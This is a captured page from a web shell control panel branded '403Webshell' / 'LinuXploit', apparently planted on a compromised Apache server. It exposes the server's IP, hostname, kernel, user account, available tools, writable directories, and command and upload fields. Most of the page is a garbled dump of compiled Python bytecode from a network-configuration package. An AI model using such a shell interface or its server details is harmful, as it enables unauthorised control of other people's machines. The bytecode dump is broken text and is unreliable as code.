403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/system-config-network/netconfpkg/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/system-config-network/netconfpkg/NCHardwareList.pyo
:Jc@sqddkZddkZddklZddklZlZlZlZl	Z	ddk
lZlZl
Z
lZlZlZlZlZlZlZlZlZlZlZlZlZddklZlZlZddkl Z l!Z!ddk"l#Z#ddk$l%Z%l&Z&ddk'Z'dd	k(l)Z)e*a+gZ,y,e)d
d
ddd
gZ-e-i.Z,WnnXgZ/y,e)d
d
ddd
gZ-e-i.Z/WnnXdZ0de!fdYZ1e*a2ea3e*dZ4e*a5ea6e*dZ7defdYZ8de%fdYZ9de9fdYZ:e*a;ea<e*dZ=dZ>dZ?dS(iN(tNCisdnhardware(tHW_CONFt	HW_SYSTEMtHW_OKtCardtHardware(t_tgetRoottHWCONFt
NETCONFDIRt
WVDIALCONFtlogtISDNtMODEMtCRTSCTStETHERNETtQETHt
getDeviceTypet	TOKENRINGtWIRELESStMODULESCONFt
getTestEnv(tConftFileMissingtVersionMismatch(tConfModInfotConfModules(tConfSMB(tGdtlisttgdtlist_properties(texecWithCaptures/bin/shs-cs,find /lib/modules/$(uname -r)/*/drivers/isdns' -name '*.?o' -printf '%f ' 2>/dev/nulls4find /lib/modules/$(uname -r)/*/drivers/net/wirelesscCsutodStdjoUxRdtddgD]9}ytd|aWnttfj
o
q0nXPq0WntS(Ns/boot/module-infos/module-infos
./module-infotfilename(RtNonetModInfoR	RRR(tpath((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pyt
getModInfoDs

	t
MyConfModulescBs/eZddZdZdZdZRS(cCs2|djott}nti||dS(N(R RRRt__init__(tselfR((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pyR%hs
cCs|i}x|i|iD]x}|id|d|}x|i|o|iqEWd|d|}x|i|o|iqyWq W|i|=tid|i||i	|dS(Ns^[\t ]*s[\t ]+s[\t ]+\-k[\t ]+i(
ttelltvarstkeystrewindtfindnextlinet
deletelineRtldelRtseek(R&tvarnametplacetkeytrestr((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pyt__delitem__ps

cCsA|id}|djo|| ||dfS|dfSdS(Nt=ii(tfindR (R&toptteq((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pytsplitopts
cCs^d}xQ|iD]C}||djo||d||d}q||d}qW|S(NtR4t (R)R (R&tmdictt	optstringR1((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pytjoinoptlists
N(t__name__t
__module__R R%R3R8R=(((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pyR$gs		cCs>tdjp|pttjotatantS(N(t_MyConfModulesR t_MyConfModules_rootRR$(trefresh((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pytgetMyConfModuless
	
cCsGtdjpttjo&tttd|atantS(Ntcreate_if_missing(t	_MyWvDialR t_MyWvDial_rootRRR
(RD((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pytgetMyWvDials
	
t
ConfHWConfcBs;eZdZdZdZdZdZdZRS(sSpecial Hardware Conf ClasscCs$ti|tth|_dS(N(RR%RRR((R&((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pyR%scCsti||idS(N(Rtreadtinitvars(R&((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pyRIs
c
Cs:h|_titttipdStttd}|i}|id}d}x|D]}t	|pqin|id}h}x|D]x}t	|pqn|id}t	|djoqn|di
}	|	|d<di|d||d<qW||i|<|d}qiWdS(Ntrs-
is
t:iR:(R(tostaccessRRtR_OKtopenRItsplittlentstriptjoin(
R&tfpthwlisttposthwtitemsthwdicttitemtvalststrippedstring((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pyRJs2	



cCs'|ii|o|i|SdSdS(N(R(thas_keyR (R&R/((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pyt__getitem__scCs
|iiS(N(R(R)(R&((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pyR)s(R>R?t__doc__R%RIRJR_R)(((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pyRHs				tHardwareList_basecBseZeeRS((R>R?RR(((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pyRastHardwareListcBseZhdd6dd6dd6dd6dd6ZdZddZd	Zd
ZdZdZ	d
Z
ddZdZdZ
dZRS(tlcsR9tosadtqethteththsittrcCsti|h|_dS(N(RaR%tkeydict(R&((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pyR%s
cCsWddkl}|}|i|}|o|}|i|nt|dS(Ni(tgetHardwareFactoryi(tnetconfpkg.NCHardwareFactoryRjtgetHardwareClasstappendRR(R&tmtypeRjthwfthwctnewhw((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pytaddHardwares		cCsddk}t}ti}g}x/|D]'}|itjo|i|q.q.Wg}|i|i|i	|i
|ix&|D]}|iox|i
on|i
dtjp|i
dtjo
t|_q|i
dtjp|i
dtjo
t|_qn|ipqn|i
djoqntiddt|t|i}x|D]}	|	| |ijoqln|	iddjoqlnyti|	}
Wntj
o
d}
nX|
pqln|i
pqln|
|i
jotiddntid	d
|	|i|	PqlWx|iD]K}	|	| |ijoqOn||	ido||	d}
nqOPqOWtid	dt||i}	xXtd
dD]G}x=|D]%}|i|	t|joPqqW|	t|}	PqWPtid	d|	|
fxo|D];}|i|	jo%|ii|
jo|i|Pq>q>Wt |	d|
}|i!|}
||
}|i"iddjo|i"i#dd}n
|i"}|	|_||_$||_%t|_t|_|
|i_x||i&iD]k}|i&|}||iioG||iidi|o)t'|i|||iid|q0q0W|i(qWx2|D]*}tid	d|i|i|qW~dS(Nis.os.kotignoreisChecking %s RLs%Error... kudzu != actual system stateisFound %s in ethlisttaliassFound nothing for %siisFound dev %s - %stmodulet|itoptionssRemoving %s from HWList()tkudzuRCtethtooltget_devicestStatusRRmtextendtprobet
CLASS_NETWORKt
BUS_UNSPECt
PROBE_SAFEtdevicetdrivert_HardwareList__isdnmodulelistRt!_HardwareList__wirelessmodulelistRRtstrRRR5t
get_moduletIOErrorR tremoveR)R^txrangetNameRt
ModuleNameRRrtdescRQtTypetDescriptionRitsetattrt
setunmodified(R&Rxtmodulestethlistthdellisttht	kudzulisttkudzu_devicetltdevRutnumthwtypetiRXRtselfkeytconfkey((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pytupdateFromKudzus	





		#
	
					

cCst}t}xtitdD]}tii|}d}y=d|}tidd|tiiti	|}WnnXy}t
d|}|i}	|idi
|	}	|	itidd||	ft|	}
|
djow)nWnnXtidd	||fd}x#|D]}|i|joPq<q<W|o'|i|jo|itjoq)n|id
djoq)n|djo|djox|D]~}|i|jo?|ii|jo,tidd
||f|i|Pqtidd|i||ii|fqWx|D].}|i|jo|ii|joPqPqPWt|d|}|i|}
||
}||_||_t|_||_t|_||i_|oUxR|iD]@}||jo-||ido||d|_q=qqWnxu|iiD]d\}}||iioG||iidi|o)t|i|||iid|qUqUW|i q)q)W|S(Ns/sys/class/net/*s%s/device/driverisChecking %ss%s/typeR:stype %s = %sis%s = %sRLiR9s*Found %s:%s, which is already in our list!s%s != %s and %s != %sRutdescriptionRw(!RCR#tglobRRMR"tbasenameR RtreadlinkRPt	readlinestcloseRTRStintRR{RR5RRRRRrRRR)R^RiRYRR(R&RRtmodinfotsyspathRtmodtmpathRUtlineRnRRRRXtinfoRR((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pyt
updateFromSyss		



	'#
	#	
				

!

cCsuddkl}|i}|i}xF|D]>}x5|D]}|i|ijoN|ii|iijo5tidd|i|iif|i|Pq<tidd|i|i|ii|iifq<Wx|D]i}|i|ijo|ii|iijoPqtidd|i|i|ii|iifqWt|_	|i
||iq/W|S(Ni(tNCBackendHalis*Found %s:%s, which is already in our list!s%s != %s and %s != %s(t
netconfpkgRt
probeCardsRRRRRRR{RmR(R&RRthaltcardsRXR((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pyt
updateFromHals>	
			
cCs tiddg}x/|D]'}|itjo|i|qqWtiddy|i|}WnnXtidt|tiddy|i|}WnnXtidt|x2|D]*}tidd|i|i|qW~tidt|dS(NitupdateFromSystemRRsRemoving %s from HWList(	RR{RRmRRRRR(R&RR((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pyRs0
cCst}t}x|iD]}||ido||d}nd}t||}|tdjoqnd}x#|D]}|i|joPqqW|o|i|joqn|i|}||}||_||_	||_
t|_||i_t
|_|o\|oUxR|iD]@}	|	|jo-||	ido||	d|_	qtq4q4Wnx||iiD]k}
|i|
}||iioG||iidi|o)t|i|
||iid|qqWqWdS(NRttUnknownRRw(RCR#R)R^R RRRRrRRRRRR{RiR(R&RRRRuRnRRRXRRR((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pytupdateFromModules*sL		
	
				

!
cCsr|djo|ii}nd}xH|D]@}t|to*||id||i|if7}q*q*W|S(s&returns a string in gdt representationR9s%s.%s.%sN(R t	__class__R>t
isinstanceRttostrRR(R&t
prefix_stringtmstrtvalue((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pyRWs
	cCst|djodS|ddjo|d=ndSxy|D]q}|i|djoW|i|djo*|i|tidd|dPn|i|d|dSq?Wtidd|d|df|i|d}||}|d|_|i|d|dS(NiiRbsDeleting device %siisType = %s, Name = %s(RRRRRRtfromstrRr(R&R\RRR((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pyRds&
	"

c
Cs|idt|t}to
t}n|o|in|ixF|D]}|idjoPqVqVWti	}|i
djo|it}||}d|_|i
|_
t|_t|_t|_|i|i_|i|i_|i|i_|i|i_|i|i_|i|i_|i|i_|i|i_|i|i_|i|i_|i|i_|i|i_nyttt}Wnt j
onXx|i!D]}|d djoqn|it"}||}||_d|_
t"|_t|_|i#||i$dpd||d<n||d|i%_&||i$dpd||d<nyt'||d|i%_(Wnt)j
od	|i%_(nX||i$d
pd||d
<nt'||d
|i%_*||i$dpd
||d<n||d|i%_+||i$dpd||d<n||d|i%_,||i$dpt-||d<n||d|i%_.qW|i/|i0dS(NisISDN Card 0itModems
Generic Modems
/dev/modemtBaudt38400it	SetVolumet0sDial CommandtATDTtInit1tATZtFlowControl(1t__delslice__RRtTrueRtFalseRRRRtConfISDNtloadRrRRRRR{RRtIoPorttIoPort1tIoPort2tMemtIRQtChannelProtocoltFirmwaretDriverIdtVendorIdtDeviceIdRRR
RR)R
tcreateModemR^Rt
DeviceNameRtBaudRatet
ValueErrortModemVolumetDialCommandt
InitStringRRtcommitR(R&tdosysupdateRXtisdncardRtwvdialR((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pyRzs


	
			

				

cCs|itdt}ti}|ix|D]}|iq6Wytdt}Wn
d}nX|opxm|i
D][}|d djoqnx:|D]+}|itjo|i
|joPqqW||=qWnx|i
D]}t|}|tjo!|tjo|tjoqnxZ|D]K}|itjp |itjp|itjo|i
|joPq8q8W||=qW|i|o|in|i|idS(NRBRDiR(RRCRRRtcleanuptsaveRGRR R)RR
RRRRRtwriteR(R&RtisdnRXRRRRn((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pyRsL



 	
' 	

N(R>R?ts390devsR%R RrRRRRRRRRR(((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pyRbs"
	
		[	$	'	-
		]cCsHtdjp|pttjo tatitantS(N(t__HWListR t
__HWList_rootRRbR(RB((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pytgetHardwareLists	

cCsht}d}xHtddD]7}x.|D]%}|i|t|joPq,q,WPqW|t|S(Niid(RRRR(tbaseRVRRX((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pyt
getNextDev"s		s Harald Hoyer <harald@redhat.com>(@RRMRRtnetconfpkg.NCHardwareRRRRRtnetconfpkg.NC_functionsRRRR	R
RRR
RRRRRRRRtnetconfpkg.conf.ConfRRRtnetconfpkg.conf.ConfModulesRRtnetconfpkg.conf.ConfSMBRtnetconfpkg.gdtRRRytnetconfpkg.executilRR R!t__isdnmodulelistt__msgRQt__wirelessmodulelistR#R$R@RARCRERFRGRHRaRbRRRRt
__author__(((s=/usr/share/system-config-network/netconfpkg/NCHardwareList.pyt<module>sZ(j

	#2		1+		

Youez - 2016 - github.com/yon3zu
LinuXploit